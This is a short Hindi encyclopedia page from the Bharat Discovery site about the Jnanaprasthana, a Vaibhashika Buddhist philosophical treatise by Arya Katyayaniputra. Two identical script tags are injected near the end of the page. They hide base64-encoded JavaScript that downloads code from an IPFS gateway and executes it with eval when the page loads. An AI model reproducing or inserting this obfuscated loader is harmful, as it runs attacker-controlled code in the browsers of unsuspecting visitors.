ज्ञानप्रस्थान

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें

ज्ञानप्रस्थान वैभाषिकों के दार्शनिक सिद्धांतों के प्रतिपादन के निमित्त प्रधान ग्रंथ माना जाता है। इसके रचयिता आर्य कात्यायनीपुत्र थे।

  • आर्य कात्यायनीपुत्र ने इस ग्रंथ की रचना उत्तरी भारत के तामसावन विहार में की थी, जहाँ चीनी यात्री युवानच्वांग ने अपनी यात्रा के क्रम में 300 सर्वास्तुवादानुयायी भिक्षुओं को देखा था।
पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>